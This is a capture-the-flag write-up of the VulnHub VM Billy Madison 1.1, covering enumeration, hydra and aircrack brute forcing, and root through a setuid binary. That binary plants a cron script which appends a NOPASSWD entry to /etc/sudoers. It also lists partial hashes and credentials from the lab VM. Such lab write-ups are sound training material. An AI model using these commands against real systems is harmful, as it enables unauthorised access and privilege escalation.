[VulnHub] Billy Madison: 1.1

Date: 05/Sep/2019

Categories: oscp, vulnhub, linux

Tags: privesc_setuid, privesc_cron, privesc_sudoers

Overview

This is a writeup for VulnHub VM Billy Madison: 1.1. Here are stats for this machine from machinescli:




Figure 1: writeup.overview.machinescli

Killchain

Here's the killchain (enumeration \rightarrow exploitation \rightarrow privilege escalation) for this machine:




Figure 2: writeup.overview.killchain

TTPs

1. 1974/tcp: privesc_setuid, privesc_cron, privesc_sudoers

Phase #1: Enumeration

1. Here's the Nmap scan result:

```
# Nmap 7.70 scan initiated Thu Sep 5 17:45:50 2019 as: nmap -vv --reason -Pn -sV -sC
    → --version-all -oN
    /root/toolbox/vulnhub/billymadison1dot1/results/192.168.92.167/scans/_quick_tcp_nmap.txt
       /root/toolbox/vulnhub/billymadison1dot1/results/192.168.92.167/scans/xml/_quick_tcp_nmap.xml

→ 192.168.92.167

   Nmap scan report for 192.168.92.167
   Host is up, received arp-response (0.00038s latency).
   Scanned at 2019-09-05 17:45:53 PDT for 94s
   Not shown: 994 filtered ports
   Reason: 994 no-responses
            STATE SERVICE
   PORT
                              REASON
                                              VERSTON
   22/tcp
            open tcpwrapped syn-ack ttl 64
            open telnet?
                              syn-ack ttl 64
   23/tcp
   | fingerprint-strings:
10
       NULL:
   1
11
         ***** HAHAH! You're banned for a while, Billy Boy! By the way, I caught you trying to
12
    → hack my wifi - but the joke's on you! I don't use ROTten passwords like rkfpuzrahngvat

→ anymore! Madison Hotels is as good as MINE!!!! *****

            open http
                              syn-ack ttl 64 Apache httpd 2.4.18 ((Ubuntu))
13
   | http-methods:
14
   | Supported Methods: GET HEAD POST OPTIONS
15
   |_http-server-header: Apache/2.4.18 (Ubuntu)
16
   |_http-title: Oh nooooooo!
17
   139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
18
   445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
19
   2525/tcp open smtp
                              syn-ack ttl 64 SubEtha smtpd
   | smtp-commands: BM, 8BITMIME, AUTH LOGIN, Ok,
21
   | SubEthaSMTP null on BM Topics: HELP HELO RCPT MAIL DATA AUTH EHLO NOOP RSET VRFY QUIT
    → STARTTLS For more info use "HELP <topic>". End of HELP info
   1 service unrecognized despite returning data. If you know the service/version, please submit
    the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service:
   SF-Port23-TCP: V=7.70%I=9%D=9/5%Time=5D71AC46%P=i686-pc-linux-gnu%r(NULL,E6
   SF:,"\n\n\*\*\\x20HAHAH!\\x20You're\x20banned\x20for\x20a\x20while,\x2
25
   SF:0Billy\x20Boy!\x20\x20By\x20the\x20way,\x20I\x20caught\x20you\x20trying
26
   SF:\x20to\x20hack\x20my\x20wifi\x20-\x20but\x20the\x20joke's\x20on\x20you!
27
   SF:\x20I\x20don't\x20use\x20ROTten\x20passwords\x20like\x20rkfpuzrahngvat\
28
   SF:x20anymore!\x20Madison\x20Hotels\x20is\x20as\x20good\x20as\x20MINE!!!!\
29
   SF:x20\*\*\*\*\n\n");
30
   MAC Address: 00:0C:29:1A:ED:6C (VMware)
31
   Service Info: Host: BM
32
33
   Host script results:
34
   |_clock-skew: mean: 1h40m00s, deviation: 2h53m14s, median: 0s
35
   | p2p-conficker:
36
       Checking for Conficker.C or higher...
       Check 1 (port 57877/tcp): CLEAN (Timeout)
38
       Check 2 (port 44191/tcp): CLEAN (Timeout)
       Check 3 (port 46411/udp): CLEAN (Timeout)
40
       Check 4 (port 51691/udp): CLEAN (Timeout)
   | 0/4 checks are positive: Host is CLEAN or ports are blocked
42
   | smb-os-discovery:
       OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
```

```
Computer name: bm
45
       NetBIOS computer name: BM\x00
46
       Domain name: \x00
47
       FQDN: bm
48
   |_ System time: 2019-09-05T19:46:51-05:00
49
   | smb-security-mode:
50
51
       account_used: guest
       authentication_level: user
52
       challenge_response: supported
    |_ message_signing: disabled (dangerous, but default)
54
   | smb2-security-mode:
       2.02:
56
         Message signing enabled but not required
   | smb2-time:
58
       date: 2019-09-05 17:46:52
   | start_date: N/A
60
61
   Read data files from: /usr/bin/../share/nmap
62
   Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
63
   \# Nmap done at Thu Sep 5 17:47:28 2019 -- 1 IP address (1 host up) scanned in 97.41 seconds
```

2. Here's the summary of open ports and associated AutoRecon scan files:

#	Port	Protocol	Service	Scans
1.	22/tcp	tcpwrapped	ttl 64	
2.	23/tcp	tcpwrapped	ttl 64	./results/192.168.92.167/scans/tcp_23_telnet-nmap.txt
3.	69/tcp	caldav	ttl 64 Radicale calendar and contacts server (Python BaseHTTPServer)	
				./results/192.168.92.167/scans/tcp_80_http_dirb.txt
				./results/192.168.92.167/scans/tcp_80_http_gobuster_dirbuster.txt
4.	80/tcp	http	ttl 64 Apache httpd 2.4.18 ((Ubuntu))	./results/192.168.92.167/scans/tcp_80_http_nikto.txt
				./results/192.168.92.167/scans/tcp_80_http_nmap.txt
				./results/192.168.92.167/scans/tcp_80_http_robots.txt
				./results/192.168.92.167/scans/tcp_80_http_whatweb.txt
				./results/192.168.92.167/scans/enum4linux.txt
5.	139/tcp	netbios-ssn	ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)	./results/192.168.92.167/scans/smbclient.txt
				./results/192.168.92.167/scans/tcp_139_smb_nmap.txt
				./results/192.168.92.167/scans/enum4linux.txt
6.	445/tcp	netbios-ssn	ttl 64 Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)	./results/192.168.92.167/scans/smbclient.txt
				./results/192.168.92.167/scans/tcp_445_smb_nmap.txt
7.	2525/tcp	smtp	ttl 64 SubEtha smtpd	./results/192.168.92.167/scans/tcp_2525_smtp_nmap.txt
				./results/192.168.92.167/scans/tcp_2525_smtp_user-enum.txt

Figure 3: writeup.enumeration.steps.2.1

3. Tried connecting to Telnet service and found a ROT13 encoded string:

```
root@kali: ~/toolbox/data/vulnhub/billymadisonldotl # nc -nv 192.168.92.167 23
(UNKNOWN) [192.168.92.167] 23 (telnet) open

***** HAHAH! You're banned for a while, Billy Boy! By the way, I caught you trying to hack my wifi - but the joke's on you! I don't use ROTten passwords like rkfpuzrahngvat anymore! Madison Hotels is as good as MINE!!!! *****

root@kali: ~/toolbox/data/vulnhub/billymadisonldotl #
```

Figure 4: writeup.enumeration.steps.3.1

- 4. Decoded the ROT13 (Caesar Cipher) encoded string and used it as the HTTP directory name:
- http://192.168.92.167/exschmenuating

```
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 # echo -en rkfpuzrahngvat | rot13d
exschmenuating
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 #
```

Figure 5: writeup.enumeration.steps.4.1


5. Found reference to the presence of files with names from rockyou.txt wordlist and veronica string in them. We created a custom wordlist, ran a gobuster scan and found a network capture file:

```
gobuster -u http://192.168.92.167/exschmenuating -w veronica.wordlist -e -k -l -s

□ "200,204,301,302,307,403,500" -x "cap,pcap,capture" -o

□ "results/192.168.92.167/scans/tcp_80_http_gobuster_dirbuster.txt" →

□ http://192.168.92.167/exschmenuating/012987veronica.cap
```



"Ruin Billy Madison's Life" - Eric's notes

08/01/16

 $Looks\ like\ Principal\ Max\ is\ too\ much\ of\ a\ goodie\ two-shoes\ to\ help\ me\ ruin\ Billy\ Boy's\ life.\ Will\ ponder\ other\ victims.$

08/02/16

Ah! Genius thought! Billy's girlfriend Veronica uses his machine too. I might have to cook up a phish and see if I can't get her to take the bait.

08/03/16

OMg LOL LOL LOL!!! What a twit - I can't believe she fell for it!! I. captured the whole thing in this folder for later lulz. I put "veronica" somewhere in the file name because I bet you a million dollars she uses her name as part of her passwords - if that's true, she rocks! Anyway, malware installation successful. I'm now in complete control of Bill's machine!

Log monitor

Figure 6: writeup.enumeration.steps.5.1

Figure 7: writeup.enumeration.steps.5.2

6. Ran a port knock using the Spanish Armada combo to open the FTP backdoor:

```
for port in 1466 67 1469 1514 1981 1986; do nmap -Pn --host_timeout 201 --max-retries 0 -p $\{\port\}\ 192.168.92.167; done nmap -p21 192.168.92.167
```

7. Found FTP password for user veronica using hydra and the custom wordlist created earlier:

```
hydra -l veronica -P veronica.wordlist 192.168.92.167 ftp → veronica/babygirl_veronica07@yahoo.com
```

```
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 # hydra -t 4 -l veronica -P veronica.wordlist 192
.168.92.167 ftp
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations
, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-09-05 19:01:36
[DATA] max 4 tasks per 1 server, overall 4 tasks, 894 login tries (l:1/p:0), ~894 tries per task
[DATA] attacking ftp://192.168.92.167:21/
[STATUS] 587.00 tries/min, 587 tries in 00:00h, 0 to do in 01:00h, 307 active
[21][ftp] host: 192.168.92.167 login: veronica password: babygirl_veronica07@yahoo.com
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-09-05 19:02:51
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 #
```

Figure 8: writeup.enumeration.steps.7.1

- 8. Found FTP password for user eric from the network capture file 012987veronica.cap:
- eric/ericdoesntdrinkhisownpee




Figure 9: writeup.enumeration.steps.8.1

- 9. Connected as user eric to the FTP service and found a .notes file:
- ftp://eric@192.168.92.167/.notes

```
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 # cat notes
Ugh, this is frustrating.
I managed to make a system account for myself. I also managed to hide Billy's paper
where he'll never find it. However, now I can't find it either :-(.
To make matters worse, my privesc exploits aren't working.
One sort of worked, but I think I have it installed all backwards.
If I'm going to maintain total control of Billy's miserable life (or what's left of it)
I need to root the box and find that paper!
Fortunately, my SSH backdoor into the system IS working.
All I need to do is send an email that includes
the text: "My kid will be a ___
Hint: https://www.youtube.com/watch?v=6u7RsW5SAgs
The new secret port will be open and then I can login from there with my wifi password, which I'm
sure Billy or Veronica know. I didn't see it in Billy's FTP folders, but didn't have time to
check Veronica's.
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 #
```

Figure 10: writeup.enumeration.steps.9.1

10. Found reference to a SSH backdoor that requires sending an email with text My kid will be a **soccer player**:

'swaks --to eric@madisonhotels.com --from vvaughn@polyfector.edu --server 192.168.92.167:2525

→ --body "My kid will be a soccer player" --header "Subject: My kid will be a soccer player" '

```
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 # swaks --to eric@madisonhotels.com --from vvaugh
n@polyfector.edu --server 192.168.92.167:2525 --body "My kid will be a soccer player" --header "Subje
ct: My kid will be a soccer player"
=== Trying 192.168.92.167:2525...
=== Connected to 192.168.92.167.
<- 220 BM ESMTP SubEthaSMTP null
-> EHLO kali
<- 250-BM
<- 250-8BITMIME
<- 250-AUTH LOGIN
<- 250 0k
-> MAIL FROM:<vvaughn@polyfector.edu>
<- 250 0k
-> RCPT TO:<eric@madisonhotels.com>
<- 250 0k
-> DATA
<- 354 End data with <CR><LF>.<CR><LF>
-> Date: Thu, 05 Sep 2019 19:18:17 -0700
-> To: eric@madisonhotels.com
 -> From: vvaughn@polyfector.edu
 -> Subject: My kid will be a soccer player
 -> Message-Id: <20190905191817.007782@kali>
-> X-Mailer: swaks v20170101.0 jetmore.org/john/code/swaks/
->
 -> My kid will be a soccer player
->
-> .
<- 250 0k
-> QUIT
<- 221 Bye
=== Connection closed with remote host.
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 #
```

Figure 11: writeup.enumeration.steps.10.1

11. Port 1974/tcp is the SSH backdoor placed on the target host by user eric:

```
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 # nmap -sT -Pn 192.168.92.167
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-05 19:19 PDT
Nmap scan report for 192.168.92.167
Host is up (0.042s latency).
Not shown: 992 filtered ports
PORT
        STATE SERVICE
21/tcp
        open ftp
22/tcp
        open ssh
        open telnet
23/tcp
        open http
80/tcp
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1974/tcp open
              drp
2525/tcp open ms-v-worlds
Nmap done: 1 IP address (1 host up) scanned in 9.36 seconds
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 #
```

Figure 12: writeup.enumeration.steps.11.1

12. Found a network capture file eg-01.cap from user veronica's FTP directory:

ftp://veronica@192.168.92.167/eg-01.cap

```
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 # ftp 192.168.92.167
Connected to 192.168.92.167.
220 Welcome to ColoradoFTP - the open source FTP server (www.coldcore.com)
Name (192.168.92.167:root): veronica
331 User name okay, need password.
Password:
230 User logged in, proceed.
Remote system type is UNIX.
ftp> binary
200 Type set to I
ftp> get eg-01.cap
local: eg-01.cap remote: eg-01.cap
200 PORT command successful.
150 Opening I mode data connection for eg-01.cap.
226 Transfer completed for "eg-01.cap".
719128 bytes received in 0.87 secs (803.3299 kB/s)
ftp> 221 Logged out, closing control connection.
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 #
```

Figure 13: writeup.enumeration.steps.12.1

Findings

Open Ports

```
22/tcp
         tcpwrapped
 23/tcp
           telnet?
         caldav
3 69/tcp
                            Radicale calendar and contacts server (Python BaseHTTPServer)
4 80/tcp
         http
                            Apache httpd 2.4.18 ((Ubuntu))
5 139/tcp | netbios-ssn |
                            Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
6 445/tcp | netbios-ssn |
                            Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
  2525/tcp | smtp
                            SubEtha smtpd
```

Files

```
http://192.168.92.167/exschmenuating
http://192.168.92.167/exschmenuating/012987veronica.cap
```

Users

ssh: eric, veronica

Phase #2: Exploitation

1. From the storyline so far, user eric has reused WiFi password for SSH login. We need to extract the WiFi password from eg-01.cap file. We run an aircrack scan on the file and get SSH password:

aircrack-ng eg-01.cap -w /usr/share/wordlists/rockyou.txt → triscuit*

```
[00:24:15] 1699520/9822768 keys tested (1176.28 k/s)
     Time left: 1 hour, 55 minutes, 7 seconds
                                                                17.30%
                           KEY FOUND! [ triscuit* ]
     Master Key
                     : 9E 8B 4F E6 CC 5E E2 4C 46 84 D2 AF 59 4B 21 6D
                       B5 3B 52 84 04 9D D8 D8 83 67 AF 43 DC 60 CE 92
     Transient Key : 4C 81 0F B5 A2 EE 2D 9F CC 8F 05 D2 82 BF F4 4E
                       AE 4E C9 ED EA 31 37 1E E7 29 10 13 92 BB 87 8A
                       AE 70 95 F8 62 20 B5 2B 53 8D 0C 5C DC 1E 9B B0
                       A6 9C EF 86 87 09 F0 4B 8A 48 02 0C FC 41 AC 00
     EAPOL HMAC
                     : 86 63 53 4B 77 52 82 0C 73 4A FA CA 19 79 05 33
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 #
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 #
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 #
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 #
```

Figure 14: writeup.exploitation.steps.1.1

 $2. \ \mbox{We login}$ as user $\mbox{\tt eric}$ to the SSH backdoor and gain initial shell access:

```
ssh -p1974 eric@192.168.92.167
```

```
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 #
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 # ssh eric@192.168.92.167 -p 1974
The authenticity of host '[192.168.92.167]:1974 ([192.168.92.167]:1974)' can't be established.
ECDSA key fingerprint is SHA256:Iz1zMYr38vrfL6+fiW0fd0AxC2ymMj/um0B6LxPA0LM.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[192.168.92.167]:1974' (ECDSA) to the list of known hosts.
eric@192.168.92.167's password:
Welcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-36-generic x86 64)
 * Documentation: https://help.ubuntu.com
 * Management:
                  https://landscape.canonical.com
 * Support:
                  https://ubuntu.com/advantage
210 packages can be updated.
12 updates are security updates.
Last login: Sat Aug 20 22:28:28 2016 from 192.168.3.101
eric@BM:~$
eric@BM:~$ id
uid=1002(eric) gid=1002(eric) groups=1002(eric)
eric@BM:~$
eric@BM:~$ uname -a
Linux BM 4.4.0-36-generic #55-Ubuntu SMP Thu Aug 11 18:01:55 UTC 2016 x86 64 x86 64 x86 64 GNU/Linux
eric@BM:~$
eric@BM:~$ ifconfig
          Link encap:Ethernet HWaddr 00:0c:29:1a:ed:6c
eth0
          inet addr:192.168.92.167 Bcast:192.168.92.255 Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:6249 errors:0 dropped:0 overruns:0 frame:0
          TX packets:4399 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:494286 (494.2 KB) TX bytes:1822710 (1.8 MB)
         Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          UP LOOPBACK RUNNING MTU:65536 Metric:1
          RX packets:164 errors:0 dropped:0 overruns:0 frame:0
          TX packets:164 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:12040 (12.0 KB) TX bytes:12040 (12.0 KB)
eric@BM:~$
```

Figure 15: writeup.exploitation.steps.2.1

Phase #2.5: Post Exploitation

```
eric@BM> id
   uid=1002(eric) gid=1002(eric) groups=1002(eric)
   eric@BM>
   eric@BM> uname
   Linux BM 4.4.0-36-generic #55-Ubuntu SMP Thu Aug 11 18:01:55 UTC 2016 x86 64 x86 64 x86 64
    \hookrightarrow GNU/Linux
   eric@BM>
6
   eric@BM> ifconfig
   eth0 Link encap:Ethernet HWaddr 00:0c:29:1a:ed:6c
          inet addr:192.168.92.167 Bcast:192.168.92.255 Mask:255.255.255.0
9
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
10
          RX packets:10919 errors:0 dropped:0 overruns:0 frame:0
11
          TX packets:342 errors:0 dropped:0 overruns:0 carrier:0
12
          collisions:0 txqueuelen:1000
13
```

```
RX bytes:742406 (742.4 KB) TX bytes:39258 (39.2 KB)
eric@BM>
eric@BM> users
billy
veronica
eric
```

Phase #3: Privilege Escalation

1. While searching for setuid files we see an uncommon binary:

```
find / -type f -perm -04000 2>/dev/null -> /usr/local/share/sgml/donpcgd
```

2. We test this binary and find that it requires two file path parameters. It creates an empty file at path passed as argument #2 with permissions of file passed as argument #1:

```
eric@BM:~$ find / -perm -04000 -type f 2>/dev/null
/usr/local/share/sgml/donpcgd
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/at
/usr/bin/chfn
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/x86 64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
^c
eric@BM:~$
eric@BM:~$
eric@BM:~$ ls -l /usr/local/share/sgml/donpcgd
-r-sr-s--- 1 root eric 372922 Aug 20 2016 /usr/local/share/sgml/donpcgd
eric@BM:~$
eric@BM:~$
eric@BM:~$ /usr/local/share/sgml/donpcgd
Usage: /usr/local/share/sgml/donpcgd path1 path2
eric@BM:~$
```

Figure 16: writeup.privesc.steps.2.1

3. Used this to create a empty file at file path /etc/cron.hourly/testing with chmod 777 permissions. We then added commands to this new file to add user eric to /etc/sudoers:

```
eric@BM:~$ touch testing
eric@BM:~$ chmod 777 testing
eric@BM:~$ ll
total 540
drwxr-xr-x 4 eric eric 4096 Sep 5 21:38 ./
drwxr-xr-x 6 root root 4096 Aug 20 2016 ../
-rw----- 1 eric eric 799 Sep 5 21:31 .bash_history
-rw-r--r-- 1 eric eric 220 Aug 20 2016 .bash_logout
-rw-r--r-- 1 eric eric 3771 Aug 20 2016 .bashrc
drwx----- 2 eric eric 4096 Aug 20 2016 .cache/
-rw-r--r-- 1 root root 451085 Aug 7 2016 eric-tongue-animated.gif
-rw-r--r-- 1 root root 60710 Aug 7 2016 eric-unimpressed.jpg
-rw-r--r-- 1 eric eric 655 Aug 20 2016 .profile
-rwxrwxrwx 1 eric eric
                           0 Sep 5 21:38 testing*
drwxrwxr-x 2 eric eric 4096 Sep 5 21:28 tmp/
-rw-r--r-- 1 root root 115 Aug 20 2016 why-1974.txt
eric@BM:~$
eric@BM:~$
eric@BM:~$
eric@BM:~$ /usr/local/share/sgml/donpcgd ./testing /etc/cron.hourly/testing
#### mknod(/etc/cron.hourly/testing,81ff,0)
eric@BM:~$
eric@BM:~$ ll /etc/cron.hourly
total 12
drwxr-xr-x
            2 root root 4096 Sep 5 21:39 ./
drwxr-xr-x 105 root root 4096 Sep 5 20:10 ../
-rwxr-xr-x 1 root root 0 Sep 5 21:34 addsudo*
-rw-r--r--
            1 root root 102 Apr 5 2016 .placeholder
-rwxrwxrwx 1 eric eric 0 Sep 5 21:39 testing*
eric@BM:~$
eric@BM:~$
<mark>eric@BM</mark>:~$ echo -e '#!/bin/bash\necho "eric ALL=(ALL) NOPASSWD:ALL" >>/etc/sudoers' >/etc/cron.hourl$
/testing
eric@BM:~$
eric@BM:~$
eric@BM:~$ ll /etc/cron.hourly
total 16
drwxr-xr-x 2 root root 4096 Sep 5 21:39 ./
drwxr-xr-x 105 root root 4096 Sep 5 20:10 ../
-rwxr-xr-x 1 root root 0 Sep 5 21:34 addsudo*
-rw-r--r-- 1 root root 102 Apr 5 2016 .placeholder
-rwxrwxrwx 1 eric eric 62 Sep 5 21:39 testing*
eric@BM:~$
```

Figure 17: writeup.privesc.steps.3.1

4. We had to wait for an hour for the cron job to execute and after that running the sudo -1 command confirmed that sudoers permissions are now enabled for user eric. We then changed to user root:

```
sudo -1
sudo su
```

```
eric@BM:~$ sudo -l
Matching Defaults entries for eric on BM:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/srin\:/sbin\:/bin\:/snap/bin
User eric may run the following commands on BM:
   (ALL) NOPASSWD: ALL
eric@BM:~$
eric@BM:~$
eric@BM:~$ sudo su
root@BM:/home/eric#
root@BM:/home/eric# id
uid=0(root) gid=0(root) groups=0(root)
root@BM:/home/eric#
root@BM:/home/eric# uname -a
Linux BM 4.4.0-36-generic #55-Ubuntu SMP Thu Aug 11 18:01:55 UTC 2016 x86 64 x86 64 x86 64 GNU/Linux
root@BM:/home/eric#
root@BM:/home/eric# ifconfig
          Link encap:Ethernet HWaddr 00:0c:29:1a:ed:6c
eth0
          inet addr:192.168.92.167 Bcast:192.168.92.255 Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:15687 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2567 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1146849 (1.1 MB) TX bytes:320625 (320.6 KB)
          Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          UP LOOPBACK RUNNING MTU:65536 Metric:1
          RX packets:190 errors:0 dropped:0 overruns:0 frame:0
          TX packets:190 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:13548 (13.5 KB) TX bytes:13548 (13.5 KB)
root@BM:/home/eric#
```

Figure 18: writeup.privesc.steps.4.1

5. We copied BowelMovement and hints.txt files from /PRIVATE/ directory to /home/eric/ and changed file owner to user eric. Then we download both files locally using scp:

```
scp -p1974 eric@192.168.92.167:/home/eric/BowelMovement ./
scp -p1974 eric@192.168.92.167:/home/eric/hints.txt ./
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 # scp -P1974 eric@192.168.92.167:/home/eric/Bowel
Movement ./
eric@192.168.92.167's password:
BowelMovement
                                                                   100% 1024KB 44.9MB/s
                                                                                           00:00
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 #
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 #
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 #
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 # scp -P1974 eric@192.168.92.167:/home/eric/hint.
txt ./
eric@192.168.92.167's password:
                                                                   100% 221
                                                                                           00:00
hint.txt
                                                                             156.3KB/s
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 #
```

Figure 19: writeup.privesc.steps.5.1

6. The hints.txt file hinted at a possible password from the Wikipedia page BillyMadison. We used cewl to create a wordlist from the wiki page:

cewl -d0 "https://en.wikipedia.org/wiki/Billy_Madison" >wiki.wordlist

```
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 # cat hint.txt
Heh, I called the file BowelMovement because it has the same initials as
Billy Madison. That truely cracks me up! LOLOLOL!

I always forget the password, but it's here:
https://en.wikipedia.org/wiki/Billy_Madison
-EG
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 #
```

Figure 20: writeup.privesc.steps.6.1

- 7. We then ran a password bruteforce on BowelMovement file as a truecrypt encrypted blob using truecrack and found it key:
- truecrack -t BowelMovement -w wiki.wordlist → execrable

```
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 # truecrack -t BowelMovement -w wiki.wordlist
TrueCrack v3.0
Website: http://code.google.com/p/truecrack
Contact us: infotruecrack@gmail.com
Found password: "execrable"
Password length: "10"
Total computations: "101"
root@kali: ~/toolbox/data/vulnhub/billymadison1dot1 #
```

Figure 21: writeup.privesc.steps.7.1

8. Mounting the decrypted BowelMovement file reveals a partition with secret.zip that contains both Billy_Madison_12th_Grade_Final_Project.doc and THE-END.txt files.

Loot

Hashes

```
billy:$6$eqJNxIDh$00.ynkHZmLxfr0k8YXHHdbyB4boe2two4HnEiJzzuVEUhOwOpaEtVCmHXziHhZIet71QcLqhqnV/

iknE/.....

veronica:$6$ud46500g$j9dN4Xh6nHTDUQ5LpnrUz16FdRiapcGvjg0JU2/

Wx.G5Q.PFtbv.sa40JyNnzTVsFEMmgnEZQV1nxGFiy.....

eric:$6$b15/PaMU$VKQussKbrXty79HD4A989SVCn.7.u6bJLMvsFgDSgiM01GlyM/

hb1xFORcX90606aIMbP7XoVI2F5UzI......
```

Credentials

```
ftp: veronica/babygirl_veronica07@y...., eric/ericdoesntdrinkhis.....
ssh: eric/triscu...
truecrypt: execrab..
```

References

- [+] https://www.vulnhub.com/entry/billy-madison-11,161/
- [+] https://g0blin.co.uk/billy-madison-1-vulnhub-writeup/